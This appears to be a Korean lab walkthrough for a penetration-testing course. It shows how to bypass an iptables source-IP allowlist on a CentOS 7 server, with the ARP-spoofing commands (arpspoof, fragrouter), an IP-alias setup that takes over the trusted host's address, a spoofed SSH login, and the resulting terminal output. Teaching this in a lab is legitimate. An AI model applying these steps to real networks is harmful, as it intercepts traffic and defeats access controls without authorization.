실습> IP SPoofing 기법을 이용한 방화벽 우회하기
네트워크 패킷 흐름도
Client(Admin) MITM Server
[Victim1(WinXP)] <-- 192.168.108.2 [Attacker] 192.168.108.105 --> [Victim2(CentOS7)]
192.168.108.105 192.168.108.102 192.168.108.100
00:0c:29:0e:30:1e 00:0c:29:e6:4d:4a 00:0c:29:1c:3a:76
방화벽 등록
192.168.108.105 ACCEPT
나머지 DROP
---------------------------> --------------------------->
<--------------------------- <---------------------------
1. Server 설정
Victim2에서 방화벽 정책을 설정한다.
systemctl stop firewalld
systemctl disable firewalld
iptables -F
iptables -t nat -F
iptables -A INPUT -m state --state INVALID -j DROP
iptables -A INPUT -m state --state ESTABLISHEd,RELATED -j ACCEPT
iptables -A INPUT -s 192.168.108.1 -j ACCEPT
iptables -A INPUT -s 192.168.108.105 -j ACCEPT
iptables -A INPUT -j DROP
Victim2# iptables -nL INPUT
Chain INPUT (policy ACCEPT)
target prot opt source destination
DROP all -- 0.0.0.0/0 0.0.0.0/0 state INVALID
ACCEPT all -- 0.0.0.0/0 0.0.0.0/0 state RELATED,ESTABLISHED
ACCEPT all -- 192.168.108.1 0.0.0.0/0
ACCEPT all -- 192.168.108.105 0.0.0.0/0
DROP all -- 0.0.0.0/0 0.0.0.0/0
2. SSH 접속
공격자에서 Victim2로 접속하면 접속이 안된다.
Attacker# ssh 192.168.108.100
^C
Victim1에서 Victim2로 putty.exe로 접속하면 접속이 잘된다.
3. ARP spoofing 공격
Attacker# echo 0 > /proc/sys/net/ipv4/ip_forward
Attacker# arpspoof2.py 105 100
>>> arp spoofing 공격 실행중 !!! <<<
arpspoof -t 192.168.108.105 192.168.108.100 > /dev/null 2>&1 &
arpspoof -t 192.168.108.100 192.168.108.105 > /dev/null 2>&1 &
fragrouter -B1 > /dev/null 2>&1
4. ARP Spoofing 확인
Victim2에서 MAC주소를 확인한다.
C:\>ping 192.168.108.102
C:\>arp -a
Interface: 192.168.108.105 --- 0x2
Internet Address Physical Address Type
192.168.108.100 00-0c-29-e6-4d-4a dynamic
192.168.108.102 00-0c-29-e6-4d-4a dynamic
Victim2와 통신이 잘되는지 확인한다.
통신이 잘된다는 것은 Attacker가 포워딩 설정이 잘 된 것이라고 할 수 있다.
C:\>ping 192.168.108.100
Pinging 192.168.108.100 with 32 bytes of data:
Reply from 192.168.108.100: bytes=32 time<1ms TTL=64
Reply from 192.168.108.100: bytes=32 time=3ms TTL=64
Reply from 192.168.108.100: bytes=32 time=1ms TTL=64
Reply from 192.168.108.100: bytes=32 time=2ms TTL=64
Ping statistics for 192.168.108.100:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 3ms, Average = 1ms
5. 가상 IP주소 설정
eth0에 설정하면 IP충돌이 일어나므로 eth0:1 인터페이스에 가상 IP주소를 설정한다.
공격자가 Victim1(Windows XP)의 IP주소를 eth0:1 인터페이스에 설정한다.
Attacker# ifconfig eth0:1 192.168.108.105
Attacker# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.108.102 netmask 255.255.255.0 broadcast 192.168.108.255
inet6 fe80::20c:29ff:fee6:4d4a prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:e6:4d:4a txqueuelen 1000 (Ethernet)
RX packets 77735 bytes 6875490 (6.5 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 86974 bytes 14670501 (13.9 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
eth0:1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.108.105 netmask 255.255.255.0 broadcast 192.168.108.255
ether 00:0c:29:e6:4d:4a txqueuelen 1000 (Ethernet)
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 108 bytes 8291 (8.0 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 108 bytes 8291 (8.0 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
6. SSH 접속
Attacker# rm -rf .ssh
Attacker# ssh -b 192.168.108.105 192.168.108.100
The authenticity of host '192.168.108.100 (192.168.108.100)' can't be established.
ED25519 key fingerprint is SHA256:mogornU9DnUxSIXAnoTCAq1K7IiI7Cbbfp9kJWjYJGY.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.108.100' (ED25519) to the list of known hosts.
root@192.168.108.100's password:
Last login: Fri Jan 7 13:47:15 2022 from 192.168.108.105
Victim2# arp -n
Address HWtype HWaddress Flags Mask Iface
192.168.108.103 (incomplete) ens33
192.168.108.102 ether 00:0c:29:e6:4d:4a C ens33
192.168.108.254 ether 00:50:56:fc:1d:0c C ens33
192.168.108.105 ether 00:0c:29:e6:4d:4a C ens33
192.168.108.2 ether 00:50:56:e2:02:72 C ens33
192.168.108.1 ether 00:50:56:c0:00:08 C ens33
'Linux > 모의해킹' 카테고리의 다른 글
| Victim2 의 IP 주소와 MAC 주소의 정책을 우회하기 (0) | 2022.01.08 |
|---|---|
| iptables 에서 MAC 주소 설정하기 (0) | 2022.01.08 |
| DNS Spoofing 공격 (0) | 2022.01.08 |
| ARP Redirect 공격 (0) | 2022.01.08 |
| Python 디버깅 (0) | 2022.01.08 |